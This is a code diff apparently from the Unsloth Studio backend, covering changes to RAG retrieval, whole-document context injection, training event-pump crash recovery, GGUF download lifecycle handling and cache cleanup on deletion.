@ -109,11 +109,12 @@ def create_document(
status: str = "pending",
stored_path: str | None = None,
document_id: str | None = None,
embedding_model: str | None = None,
) -> str:
document_id = document_id or str(uuid.uuid4())
conn.execute(
"INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, "
"status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)",
"status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
(
document_id,
scope,
@ -125,6 +126,7 @@ def create_document(
status,
stored_path,
_now(),
embedding_model,
),
)
conn.commit()
@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int):
return [(r["chunk_id"], -r["s"]) for r in rows]
def search_dense(conn: sqlite3.Connection, scope, vector, k: int):
def search_dense(
conn: sqlite3.Connection,
scope,
vector,
k: int,
*,
embedding_model: str | None = None,
):
"""Cosine KNN over vec0 for one scope or several. Returns
[(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by
equality, so multi-scope runs one query per scope and merges by score."""
equality, so multi-scope runs one query per scope and merges by score.
``embedding_model`` drops hits from documents indexed under a different
(same-width) model, whose vectors live in another space; NULL-model legacy
documents are assumed current, matching the ingestion dedupe rule."""
if not rag_db.vec_table_exists(conn):
return []
dim = rag_db.vec_table_dim(conn)
if dim is not None and dim != len(vector):
# Embedding model switched widths and nothing re-indexed yet; the stale
# table cannot answer new-model queries (vec0 errors on the MATCH).
return []
# Over-fetch when filtering so stale-model hits don't starve the top-k.
fetch = k * 3 if embedding_model else k
out: list[tuple[str, float]] = []
for s in _scopes(scope):
rows = conn.execute(
"SELECT chunk_id, distance FROM chunks_vec "
"WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?",
(s, _f32(vector), k),
(s, _f32(vector), fetch),
).fetchall()
out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows)
if embedding_model and out:
ids = [cid for cid, _ in out]
placeholders = ",".join("?" * len(ids))
valid = {
r["id"]
for r in conn.execute(
f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id "
f"WHERE c.id IN ({placeholders}) "
f"AND (d.embedding_model IS NULL OR d.embedding_model=?)",
(*ids, embedding_model),
).fetchall()
}
out = [t for t in out if t[0] in valid]
out.sort(key = lambda t: t[1], reverse = True)
return out[:k]
@ -292,3 +324,40 @@ def chunks_by_id(conn: sqlite3.Connection, ids) -> dict:
list(ids),
).fetchall()
return {r["id"]: r for r in rows}
def all_chunks_for_scope(conn: sqlite3.Connection, scope) -> list[dict]:
"""Every completed-document chunk for a scope, ordered document-then-index and
joined with the document filename. Backs whole-document context injection, so
it does no retrieval or embedding."""
scopes = _scopes(scope)
if not scopes:
return []
placeholders = ",".join("?" * len(scopes))
rows = conn.execute(
f"SELECT c.id, c.text, c.document_id, c.chunk_index, c.page_number, "
f"c.token_count, d.filename, d.created_at "
f"FROM chunks c JOIN documents d ON d.id=c.document_id "
f"WHERE c.scope IN ({placeholders}) AND d.status='completed' "
f"ORDER BY d.created_at, c.document_id, c.chunk_index",
list(scopes),
).fetchall()
return [dict(r) for r in rows]
def scope_token_estimate(conn: sqlite3.Connection, scope) -> int:
"""Upper-bound token total for a scope's completed chunks without hydrating text.
Mirrors ``all_chunks_for_scope`` + the ``tool._row_token_count`` fallback (stored
count, else length/4), so the whole-doc budget can be checked before loading text."""
scopes = _scopes(scope)
if not scopes:
return 0
placeholders = ",".join("?" * len(scopes))
row = conn.execute(
f"SELECT COALESCE(SUM(CASE WHEN c.token_count > 0 THEN c.token_count "
f"ELSE MAX(1, length(COALESCE(c.text, '')) / 4) END), 0) AS total "
f"FROM chunks c JOIN documents d ON d.id=c.document_id "
f"WHERE c.scope IN ({placeholders}) AND d.status='completed'",
list(scopes),
).fetchone()
return int(row["total"] or 0)

81
studio/backend/core/rag/tool.py
View file

@ -16,7 +16,13 @@ from xml.sax.saxutils import quoteattr
from storage import rag_db
from . import config, retrieval
from .store import kb_scope, project_scope, thread_scope
from .store import (
all_chunks_for_scope,
kb_scope,
project_scope,
scope_token_estimate,
thread_scope,
)
SEARCH_KNOWLEDGE_BASE_TOOL = {
"type": "function",
@ -90,6 +96,30 @@ def _format(rows, hits) -> tuple[str, list[dict]]:
return "\n\n".join(blocks), sources
def render_sources(sources: list[dict]) -> str:
"""Render a citation-source list to sequentially-numbered ``<chunk>`` blocks,
rewriting each source's ``citationId`` to match its 1-based position. Lets
independently-built source lists (a whole-document thread attachment plus
retrieved project passages) be merged under one citation numbering."""
blocks: list[str] = []
for i, s in enumerate(sources, 1):
s["citationId"] = i
src = quoteattr(s.get("filename") or "unknown")
page = s.get("page")
page_attr = f" page={quoteattr(str(page))}" if page else ""
blocks.append(f'<chunk id="{i}" source={src}{page_attr}>\n{s.get("text") or ""}\n</chunk>')
return "\n\n".join(blocks)
def _row_token_count(row) -> int:
"""Chunk token count for budgeting, falling back to a length estimate when the
stored count is missing or zero, so a malformed chunk cannot bypass the budget."""
tc = row["token_count"]
if tc:
return int(tc)
return max(1, len(row["text"] or "") // 4)
def search_knowledge_base_with_sources(
*,
query: str,
@ -186,6 +216,55 @@ def search_for_autoinject(
return (text, sources) if sources else None
def whole_document_context(
*, scope_thread_id: str | None = None, max_tokens: int
) -> tuple[str, list[dict]] | None:
"""Render EVERY chunk of the THREAD's attached documents (in order) as the same
``<chunk>`` blocks + citation source-map as retrieval, so the model reads the whole
file rather than top-K passages. Thread-attached files only: KB and project corpora
are search corpora, never whole-document, so this resolves the thread scope alone.
``None`` (caller falls back to retrieval) when there is no thread scope, no completed
chunks, or the total exceeds ``max_tokens``."""
if not scope_thread_id:
return None
# A non-positive budget means "never inject" (disable whole-doc via
# RAG_THREAD_WHOLE_DOC=0), not "inject the whole corpus unbounded".
if max_tokens <= 0:
return None
scope = thread_scope(scope_thread_id)
conn = rag_db.get_connection()
try:
# Cheap budget pre-check (SUM, no text hydration): reject an oversized attachment
# before loading the whole corpus; all_chunks_for_scope runs only once it fits.
if scope_token_estimate(conn, scope) > max_tokens:
return None
rows = all_chunks_for_scope(conn, scope)
finally:
conn.close()
if not rows:
return None
total = sum(_row_token_count(r) for r in rows)
if total > max_tokens:
return None
sources: list[dict] = [
{
"citationId": i,
"chunkId": r["id"],
"documentId": r["document_id"],
"filename": r["filename"] or "unknown",
"page": r["page_number"],
"text": r["text"] or "",
"score": None,
}
for i, r in enumerate(rows, 1)
]
rendered = render_sources(sources)
if max(1, len(rendered) // 4) > max_tokens:
return None
return rendered, sources
def search_knowledge_base(
*,
query: str,

1145
studio/backend/core/tool_healing.py
View file

File diff suppressed because it is too large Load diff

32
studio/backend/core/training/trainer.py
View file

@ -3543,9 +3543,12 @@ class UnslothTrainer:
# ── Safety net: check if all samples were filtered out ──
# train_on_responses_only masks non-response tokens with -100;
# if max_seq_length is too short the response is truncated away,
# every sample becomes all -100, and Unsloth drops them, leaving
# 0 usable samples. Skip this len()-based check for streaming.
# a row becomes all -100 (and Unsloth drops it) when the response
# template is not found in the formatted text. That is usually a
# dataset/template mismatch (already-formatted data, or 'Train on
# completions' applied to data that doesn't match the model's chat
# template), and only sometimes max_seq_length truncating the
# response away. Skip this len()-based check for streaming.
if detect_streaming_dataset(self.trainer.train_dataset):
logger.info("Skipping post-filter length check for streaming dataset\n")
else:
@ -3560,13 +3563,18 @@ class UnslothTrainer:
if filtered_len == 0 or drop_pct > 30:
max_seq = training_args.get("max_seq_length", 2048)
error_msg = (
f"{dropped}/{original_len} samples ({drop_pct}%) "
f"were dropped after applying 'train on responses "
f"only' — only {filtered_len} remain. This usually "
f"means max_seq_length ({max_seq}) is too short "
f"and the response portion is being truncated "
f"away. Try increasing max_seq_length (e.g. 8192) "
f"or disabling 'Train on completions'."
f"{dropped}/{original_len} samples ({drop_pct}%) were "
f"dropped after applying 'Train on completions': after "
f"masking, those rows had no trainable response tokens "
f"left. The usual cause is that this model's response "
f"template was not found in the formatted samples, so "
f"every token was masked out. That typically means the "
f"dataset is already formatted, or its structure does "
f"not match the model's chat template, so 'Train on "
f"completions' should be turned off for this dataset. "
f"Less commonly, a max_seq_length ({max_seq}) shorter "
f"than the prompt can truncate the response away; only "
f"raise it if your samples are actually longer than that."
)
logger.error(error_msg)
self._update_progress(error = error_msg, is_training = False)
@ -3664,7 +3672,7 @@ class UnslothTrainer:
return
try:
with open(config_path, "r") as f:
with open(config_path, "r", encoding = "utf-8") as f:
config = json.load(f)
# Determine training method
@ -3678,7 +3686,7 @@ class UnslothTrainer:
config["unsloth_training_method"] = method
logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'")
with open(config_path, "w") as f:
with open(config_path, "w", encoding = "utf-8") as f:
json.dump(config, f, indent = 2)
except Exception as e:

215
studio/backend/core/training/training.py
View file

@ -24,9 +24,10 @@ from datetime import datetime, timezone
from loggers import get_logger
from dataclasses import dataclass, field
from pathlib import Path
from typing import Optional, Tuple, Any
from typing import Optional, Tuple, Any, TYPE_CHECKING
import matplotlib.pyplot as plt
if TYPE_CHECKING:
import matplotlib.pyplot as plt
from utils.hardware import prepare_gpu_selection
from utils.native_path_leases import (
native_path_secret_removed_for_child_start,
@ -36,6 +37,30 @@ from utils.paths import outputs_root
logger = get_logger(__name__)
_pyplot = None
_pyplot_failed = False
def _load_pyplot():
"""Lazily import matplotlib.pyplot (headless Agg); return it, or None if
matplotlib is unavailable. Deferred so a blocked native wheel (e.g. Windows
Smart App Control) never breaks server startup, only loss plotting.
"""
global _pyplot, _pyplot_failed
if _pyplot is not None or _pyplot_failed:
return _pyplot
try:
import matplotlib
matplotlib.use("Agg") # headless backend
import matplotlib.pyplot as plt
_pyplot = plt
except Exception as e:
_pyplot_failed = True
logger.warning("matplotlib unavailable; loss plots disabled", error = str(e))
return _pyplot
def _coerce_seed(value, default = 3407) -> int:
"""Normalize None / non-int to `default` (transformers.set_seed(None) raises)."""
@ -191,6 +216,9 @@ class TrainingBackend:
self._event_queue: Any = None
self._stop_queue: Any = None
self._pump_thread: Optional[threading.Thread] = None
# True while a pump thread should be running; cleared on intended exits.
# Left True after an abnormal death so _ensure_pump_alive spots a crash.
self._pump_running: bool = False
self._lock = threading.Lock()
# Progress state (updated by pump thread from subprocess events)
@ -264,10 +292,14 @@ class TrainingBackend:
logger.warning("Previous pump thread did not exit within 5s — refusing to start")
return False
self._pump_thread = None
# Clear a stale crash flag from a prior died pump so the watchdog can't
# treat this fresh setup as a recoverable death.
self._pump_running = False
# Build config dict for the subprocess
config = {
"model_name": kwargs["model_name"],
"project_name": kwargs.get("project_name"),
"training_type": kwargs.get("training_type", "LoRA/QLoRA"),
"hf_token": kwargs.get("hf_token", ""),
"load_in_4bit": kwargs.get("load_in_4bit", True),
@ -447,16 +479,21 @@ class TrainingBackend:
self._xet_fallback_used = False
self._needs_xet_respawn = False
# Assign subprocess handles after state reset.
self._event_queue = event_queue
self._stop_queue = stop_queue
self._proc = proc
# Eagerly create DB run row so it appears in history during model loading.
# Create the DB run row before the pump can consume events, so it appears
# in history during model loading and a fast terminal worker can't race the
# pump into a duplicate create/finalize. From here the pump only finalizes.
self._ensure_db_run_created()
self._pump_thread = threading.Thread(target = self._pump_loop, daemon = True)
self._pump_thread.start()
# Assign handles and start the pump together under the lock so a concurrent
# poll can't see a live _proc with no pump and spawn a duplicate.
new_pump = threading.Thread(target = self._pump_loop, daemon = True)
with self._lock:
self._pump_running = False
self._event_queue = event_queue
self._stop_queue = stop_queue
self._proc = proc
self._pump_thread = new_pump
new_pump.start()
return True
@ -581,6 +618,9 @@ class TrainingBackend:
except Exception:
logger.error("Failed to respawn training subprocess", exc_info = True)
with self._lock:
# No replacement pump will run; clear the flag so a later run can't
# inherit a stale _pump_running=True and spawn a duplicate.
self._pump_running = False
self._progress.is_training = False
self._progress.error = "Failed to recover stalled model download"
self._ensure_db_run_created()
@ -598,10 +638,44 @@ class TrainingBackend:
self._stop_queue = stop_queue
self._proc = new_proc
self._pump_thread = new_pump
new_pump.start()
# Start under the lock so _ensure_pump_alive can never observe the
# new pump as a not-yet-started (dead) thread and spawn a duplicate.
new_pump.start()
def _ensure_pump_alive(self) -> bool:
"""Restart the event pump if it crashed, even after the worker exited.
Defence in depth behind _pump_loop's guards. _pump_running stays True only
after an abnormal exit (the loop clears it on intended exits), so a True
flag plus a dead thread is an unambiguous crash. Restarts even after worker
exit so a fresh pump can drain the terminal events and finalize; otherwise
the run looks stuck "running" forever. Returns True if restarted.
"""
with self._lock:
if not self._pump_running:
return False
# A restarted pump needs the worker handle and queue to drain/finalize;
# their absence means nothing is left to recover.
if self._proc is None or self._event_queue is None:
return False
if self._pump_thread is not None and self._pump_thread.is_alive():
return False
logger.error(
"Training event pump thread died while the worker is still running; "
"restarting it so progress updates resume."
)
new_pump = threading.Thread(target = self._pump_loop, daemon = True)
self._pump_thread = new_pump
# Start under the lock so a concurrent _ensure_pump_alive can't see
# this thread as not-yet-started and spawn yet another pump.
new_pump.start()
return True
def is_training_active(self) -> bool:
"""Check if training is currently active."""
# Self-heal a crashed pump first: a dead pump must never leave the worker
# training invisibly behind a frozen UI. Cheap enough for per-second polls.
self._ensure_pump_alive()
with self._lock:
if self._proc is not None and self._proc.is_alive():
return True
@ -655,7 +729,7 @@ class TrainingBackend:
plot = self._create_loss_plot(progress, theme)
return (plot, progress)
def refresh_plot_for_theme(self, theme: str) -> Optional[plt.Figure]:
def refresh_plot_for_theme(self, theme: str) -> "Optional[plt.Figure]":
"""Refresh plot with new theme."""
if theme and isinstance(theme, str) and theme in ["light", "dark"]:
self.current_theme = theme
@ -702,51 +776,87 @@ class TrainingBackend:
# Event pump (background thread)
# ------------------------------------------------------------------
def _safe_handle_event(self, event: dict) -> None:
"""Apply one event, swallowing any handler error.
The pump is the only writer of the progress state every status surface
reads, so a malformed event must never propagate and kill it.
"""
try:
self._handle_event(event)
except Exception:
etype = event.get("type") if isinstance(event, dict) else type(event).__name__
logger.exception("Training event pump: failed to handle %s event; skipping", etype)
def _pump_loop(self) -> None:
"""Background thread: consume events from subprocess → update state."""
"""Background thread: consume subprocess events and update state.
Sole writer of the in-memory progress state that /progress, /status,
/metrics and DB history read. If it exited while the worker still ran, the
run would burn GPU with events piling up while every surface froze. So no
single bad event or transient queue/DB error may end it; it returns only
through intended exits (worker gone, respawn handed off, finalized).
"""
self._pump_running = True
while True:
if self._proc is None or self._event_queue is None:
self._pump_running = False
return
event = self._read_queue(self._event_queue, timeout_sec = 0.25)
try:
event = self._read_queue(self._event_queue, timeout_sec = 0.25)
except Exception:
# If a read keeps raising after the worker died, fall through to
# finalize instead of spinning; only retry while the worker lives.
logger.exception("Training event pump: queue read failed; continuing")
if self._proc is not None and self._proc.is_alive():
time.sleep(0.1)
continue
event = None
if event is not None:
self._handle_event(event)
self._safe_handle_event(event)
continue
if self._proc.is_alive():
continue
# Process exited — drain remaining events.
for e in self._drain_queue(self._event_queue):
self._handle_event(e)
# Worker exited. Drain the backlog and finalize, guarded so a slow or
# failing DB write can't strand the thread; we return either way.
try:
for e in self._drain_queue(self._event_queue):
self._safe_handle_event(e)
# Model-load stall: respawn over HTTP instead of finalizing as failure.
# Runs on THIS exiting pump thread and starts a fresh pump (never joins
# the current thread); DB run-state is preserved.
if self._needs_xet_respawn:
self._needs_xet_respawn = False
self._respawn_worker_disable_xet()
return
# Model-load stall: respawn over HTTP instead of finalizing as failure.
# Starts a fresh pump on this thread (no self-join); it takes over
# _pump_running, so this exit leaves the flag set.
if self._needs_xet_respawn:
self._needs_xet_respawn = False
self._respawn_worker_disable_xet()
return
# Mark done if no explicit complete/error was received.
with self._lock:
if self._progress.is_training:
if self._should_stop:
self._progress.is_training = False
self._progress.status_message = "Training stopped."
else:
self._progress.is_training = False
self._progress.error = (
self._progress.error or "Training process exited unexpectedly"
)
# Mark done if no explicit complete/error was received.
with self._lock:
if self._progress.is_training:
if self._should_stop:
self._progress.is_training = False
self._progress.status_message = "Training stopped."
else:
self._progress.is_training = False
self._progress.error = (
self._progress.error or "Training process exited unexpectedly"
)
self._ensure_db_run_created()
self._finalize_run_in_db(
status = "stopped" if self._should_stop else "error",
error_message = None
if self._should_stop
else "Training process terminated unexpectedly",
)
self._ensure_db_run_created()
self._finalize_run_in_db(
status = "stopped" if self._should_stop else "error",
error_message = None
if self._should_stop
else "Training process terminated unexpectedly",
)
except Exception:
logger.exception("Training event pump: finalization after worker exit failed")
self._pump_running = False
return
def _handle_event(self, event: dict) -> None:
@ -1069,6 +1179,8 @@ class TrainingBackend:
except queue.Empty:
return None
except (EOFError, OSError, ValueError):
# A closed/broken queue reads as "no event"; any other error is left to
# _pump_loop's guarded block, which logs and backs off.
return None
@staticmethod
@ -1079,7 +1191,12 @@ class TrainingBackend:
events.append(q.get_nowait())
except queue.Empty:
return events
except (EOFError, OSError, ValueError):
except Exception:
# A drain error must not abort finalization: return what we have so
# the run finalizes rather than wedging "active" behind a dead worker.
logger.exception(
"Training event pump: queue drain failed; finalizing with drained events"
)
return events
# ------------------------------------------------------------------
@ -1090,8 +1207,14 @@ class TrainingBackend:
self,
progress: TrainingProgress,
theme: str = "light",
) -> plt.Figure:
"""Create training loss plot with theme-aware styling."""
) -> "Optional[plt.Figure]":
"""Create training loss plot with theme-aware styling.
matplotlib is loaded lazily; returns None if it is unavailable.
"""
plt = _load_pyplot()
if plt is None:
return None
plt.close("all")
LIGHT_STYLE = {

76
studio/backend/core/training/worker.py
View file

@ -44,6 +44,7 @@ if sys.platform.startswith("linux") and "HSA_ENABLE_DXG_DETECTION" not in os.env
logger = get_logger(__name__)
from utils.hardware import apply_gpu_ids
from utils.training_runs import build_default_output_dir_name
from utils.wheel_utils import (
direct_wheel_url,
flash_attn_wheel_url,
@ -1252,32 +1253,48 @@ def _adapt_for_mlx_vlm(
return adapted
_MLX_STUDIO_OPTIM_MAP = {
"adamw_8bit": "adamw",
"paged_adamw_8bit": "adamw",
"adamw_bnb_8bit": "adamw",
"paged_adamw_32bit": "adamw",
"adamw_torch": "adamw",
"adamw_torch_fused": "adamw",
"adamw": "adamw",
"adafactor": "adafactor",
"sgd": "sgd",
"adam": "adam",
"muon": "muon",
"lion": "lion",
}
_MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"}
# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used
# only when mlx (Apple Silicon) is not importable so Studio config validation
# still works on non-MLX hosts. The zoo function stays the source of truth.
_MLX_STUDIO_ADAMW_ALIASES = frozenset(
(
"adamw_8bit",
"paged_adamw_8bit",
"adamw_bnb_8bit",
"paged_adamw_32bit",
"adamw_torch",
"adamw_torch_fused",
"paged_adamw",
"adamw_32bit",
"adamw_hf",
"adamw_anyprecision",
"adamw_apex_fused",
)
)
_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion")
def _normalize_mlx_studio_optimizer(value):
raw = str(value or "adamw_8bit").strip().lower()
try:
return _MLX_STUDIO_OPTIM_MAP[raw]
except KeyError:
supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP))
raise ValueError(
f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}."
)
from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name
return _normalize_mlx_optimizer_name(value or "adamw_8bit")
except (ImportError, ValueError):
# Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL
# aliases: map common adamw_* names locally so notebook defaults work.
opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower()
opt = opt.rsplit(".", 1)[-1].replace("-", "_")
if opt in _MLX_STUDIO_ADAMW_ALIASES:
opt = "adamw"
if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS:
supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS)
raise ValueError(
f"Unsupported optimizer for MLX training: {value!r}. "
f"Supported optimizers: {supported}."
)
return opt
def _normalize_mlx_studio_scheduler(value):
@ -1787,11 +1804,14 @@ def _run_mlx_training(event_queue, stop_queue, config):
# ── 5. Build output dir ──
# Resolve to ~/.unsloth/studio/outputs/ so the export page finds it
from utils.paths import resolve_output_dir, ensure_dir, default_run_dir_name
from utils.paths import resolve_output_dir, ensure_dir
output_dir = config.get("output_dir", "")
if not output_dir:
output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
output_dir = build_default_output_dir_name(
model_name,
config.get("project_name"),
)
output_dir = str(resolve_output_dir(output_dir))
ensure_dir(Path(output_dir))
@ -3019,7 +3039,10 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
resume_from_checkpoint
)
if not output_dir:
output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
output_dir = build_default_output_dir_name(
model_name,
config.get("project_name"),
)
output_dir = str(resolve_output_dir(output_dir))
ensure_dir(Path(output_dir))
@ -3500,7 +3523,10 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
resume_from_checkpoint
)
if not output_dir:
output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
output_dir = build_default_output_dir_name(
model_name,
config.get("project_name"),
)
output_dir = str(resolve_output_dir(output_dir))
num_epochs = config.get("num_epochs", 2)

3
studio/backend/hub/schemas/inventory.py
View file

@ -27,6 +27,9 @@ class GgufVariantDetail(BaseModel):
downloaded: bool = Field(
False, description = "Whether this variant is already in the local HF cache"
)
update_available: bool = Field(
False, description = "Whether a newer main GGUF blob is available on Hugging Face"
)
partial: bool = Field(
False,
description = "Whether this variant has an in-progress (.incomplete) blob in cache",

61
studio/backend/hub/services/download_lifecycle.py
View file

@ -314,25 +314,50 @@ def register_worker(
worker_token = hf_token
def _watch() -> None:
finalize_worker_exit(
registry,
key,
proc,
hf_token = worker_token,
label = label,
log_prefix = log_prefix,
logger = logger,
repo_type = repo_type,
repo_id = repo_id,
transport = transport,
)
if registry.get_job(key).state in ("error", "cancelled"):
download_registry.purge_empty_marker_dir(
repo_type,
repo_id,
download_registry.variant_from_key(key),
try:
finalize_worker_exit(
registry,
key,
proc,
hf_token = worker_token,
label = label,
log_prefix = log_prefix,
logger = logger,
repo_type = repo_type,
repo_id = repo_id,
transport = transport,
)
hf_cache_scan.invalidate_hf_cache_scans()
except Exception:
# finalize_worker_exit is the only thing that clears running/cancelling;
# if it raises, force a terminal state so claim() isn't blocked until restart.
logger.exception("download watcher crashed for %s", key)
# finalize may have raised before reaping the worker; terminate the
# still-registered Popen first, else the terminal set_job clears the
# repo guard and a live worker would race a retry on the same repo.
try:
kill_and_reap_process(proc, label = label, logger = logger)
except Exception:
logger.exception("failed to reap worker after watcher crash for %s", key)
try:
registry.drop_process(key, proc)
except Exception:
logger.exception("failed to drop worker after watcher crash for %s", key)
try:
registry.set_job(key, "error", "download watcher crashed")
except Exception:
logger.exception("failed to mark %s errored after watcher crash", key)
finally:
try:
if registry.get_job(key).state in ("error", "cancelled"):
download_registry.purge_empty_marker_dir(
repo_type,
repo_id,
download_registry.variant_from_key(key),
)
except Exception:
logger.exception("post-finalize marker cleanup failed for %s", key)
finally:
hf_cache_scan.invalidate_hf_cache_scans()
threading.Thread(target = _watch, name = watch_name, daemon = True).start()
return True

54
studio/backend/hub/services/models/cache_inventory.py
View file

@ -39,8 +39,10 @@ from hub.services.models.common import (
logger = get_logger(__name__)
_repo_size_cache: "OrderedDict[tuple[str, str], tuple[int, frozenset[str], float]]" = OrderedDict()
_repo_size_neg_cache: "OrderedDict[tuple[str, str], float]" = OrderedDict()
_repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = (
OrderedDict()
)
_repo_size_neg_cache: "OrderedDict[tuple[str, str, str], float]" = OrderedDict()
_REPO_SIZE_CACHE_MAX = 256
_REPO_SIZE_POS_TTL = 60.0
_REPO_SIZE_NEG_TTL = 60.0
@ -52,7 +54,7 @@ def get_repo_snapshot_metadata_cached(
repo_id: str, hf_token: Optional[str] = None
) -> tuple[int, frozenset[str]]:
token_fp = hf_cache_scan.token_fingerprint(hf_token)
cache_key = (repo_id, token_fp)
cache_key = (repo_id, token_fp, "snapshot")
with _repo_size_cache_lock:
cached = _repo_size_cache.get(cache_key)
if cached is not None:
@ -119,6 +121,52 @@ def _repo_has_gguf_files(repo_info) -> bool:
return _repo_gguf_size_bytes(repo_info) > 0
def _cached_repo_file_name(file_obj) -> str:
file_path = getattr(file_obj, "file_path", None)
if file_path:
try:
path = Path(file_path)
parts = path.parts
snapshots_idx = max(i for i, part in enumerate(parts) if part == "snapshots")
if len(parts) > snapshots_idx + 2:
return Path(*parts[snapshots_idx + 2 :]).as_posix()
except Exception:
pass
return str(getattr(file_obj, "file_name", "")).replace("\\", "/")
def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]:
"""Map each cached GGUF file's repo-relative name to the SET of its local
blob hashes across all cached revisions.
HF names each local cache blob FILE by the file's etag (lfs.sha256 else
blob_id), so a local file's blob hash == ``Path(blob_path).name``. An updated
repo keeps BOTH the old and new revision snapshots until HF garbage-collects
them, so the same file resolves to several blobs; collecting them ALL (not
just the first one seen, since ``repo_info.revisions`` is a frozenset and
yields them in arbitrary order) lets the remote-vs-local diff treat the file
as current when the remote (``main``) blob is present in any cached revision.
Mirrors the ``cached_blob_ids`` membership test in routes/models.py.
By default this keeps the historical MAIN-GGUF-only behavior. GGUF update
checks opt into companions so a shared mmproj/MTP blob can be compared too.
"""
blob_map: dict[str, set[str]] = {}
for revision in repo_info.revisions:
for f in revision.files:
if include_companions:
if not _is_gguf_filename(f.file_name):
continue
elif not _is_main_gguf_filename(f.file_name):
continue
blob_path = getattr(f, "blob_path", None)
if not blob_path:
continue
name = _cached_repo_file_name(f)
blob_map.setdefault(name, set()).add(Path(blob_path).name)
return blob_map
def _prefer_cache_row(candidate: dict, existing: Optional[dict]) -> bool:
if existing is None:
return True

263
studio/backend/hub/services/models/deletion.py
View file

@ -6,6 +6,7 @@
from __future__ import annotations
import asyncio
import errno
from pathlib import Path
from typing import Optional
@ -15,7 +16,7 @@ from loggers import get_logger
from hub.utils import download_manifest
from hub.utils import download_registry
from hub.utils import inventory_scan as hf_cache_scan
from hub.utils.gguf import extract_quant_label
from hub.utils.gguf import extract_quant_label, extract_quant_token
from hub.utils.hf_cache_state import (
INCOMPLETE_SUFFIX,
purge_partial_repo,
@ -106,6 +107,76 @@ def _has_remaining_main_gguf(target_repo) -> bool:
)
def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, list[str]]:
"""Remove now-empty ``snapshots/<rev>/<quant>/`` folders for *variant* (the
quant label names the folder); only empty dirs go, so siblings are safe.
Returns (count removed, removal failures other than a concurrent refill)."""
variant_key = (extract_quant_token(variant) or variant).lower()
removed = 0
failures: list[str] = []
for target_repo in target_repos:
repo_path = getattr(target_repo, "repo_path", None)
if not repo_path:
continue
snapshots = Path(repo_path) / "snapshots"
if not snapshots.is_dir():
continue
try:
snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()]
except OSError:
continue
for snap in snap_dirs:
try:
subs = list(snap.iterdir())
except OSError:
continue
for sub in subs:
try:
if sub.is_symlink() or not sub.is_dir():
continue
folder_quant = extract_quant_token(sub.name)
matches = (
folder_quant is not None and folder_quant.lower() == variant_key
) or sub.name.lower() == variant.lower()
if not matches or any(sub.iterdir()):
continue
except OSError:
continue
try:
sub.rmdir()
removed += 1
except OSError as e:
# A concurrent download refilling the dir (ENOTEMPTY) is not a
# failure; a read-only cache or locked dir is, so surface it.
if e.errno != errno.ENOTEMPTY:
failures.append(f"{sub.name}: {e}")
return removed, failures
def _remove_empty_snapshot_dirs(target_repos: list) -> tuple[int, list[str]]:
removed = 0
failures: list[str] = []
for target_repo in target_repos:
repo_path = getattr(target_repo, "repo_path", None)
if not repo_path:
continue
snapshots = Path(repo_path) / "snapshots"
if not snapshots.is_dir():
continue
try:
snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()]
except OSError:
continue
for snap in snap_dirs:
try:
snap.rmdir()
removed += 1
except OSError as e:
if e.errno != errno.ENOTEMPTY:
failures.append(f"{snap.name}: {e}")
return removed, failures
def _delete_gguf_variant_from_repos(
repo_id: str,
variant: str,
@ -206,11 +277,26 @@ def _delete_gguf_variant_from_repos(
)
state_purged = download_manifest.purge_state("model", repo_id, variant)
# Reclaim the empty quant folder so it stops 404ing on delete.
removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
removed_dirs += removed_snap_dirs
dir_failures.extend(snap_dir_failures)
if dir_failures:
raise HTTPException(
status_code = 409,
detail = (
f"Couldn't fully delete {variant} for {repo_id}: "
f"{len(dir_failures)} folder(s) could not be removed "
"(read-only cache or in use). Try again."
),
)
if (
removed_snapshots == 0
and deleted_blobs == 0
and incomplete_result.deleted == 0
and not state_purged
and removed_dirs == 0
):
raise HTTPException(
status_code = 404,
@ -225,6 +311,181 @@ def _delete_gguf_variant_from_repos(
return {"status": "deleted", "repo_id": repo_id, "variant": variant}
def reclaim_replaced_gguf_variant(
repo_id: str,
variant: str,
keep_main_hashes: frozenset[str],
hf_token: Optional[str] = None,
) -> dict:
"""Prune stale main-GGUF files for a variant after a replacement verified.
This is intentionally narrower than user-driven delete: it removes only
same-variant main files whose local blob hash is not in *keep_main_hashes*,
then unlinks their blobs only if no remaining snapshot references them.
Shared companions and sibling variants are left intact.
"""
if not keep_main_hashes:
logger.info(
"Skipping stale GGUF reclaim for %s [%s]: current main hashes unresolved",
repo_id,
variant,
)
return {
"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "unresolved_hashes",
}
if not _is_valid_repo_id(repo_id) or not _is_valid_gguf_variant(variant):
return {
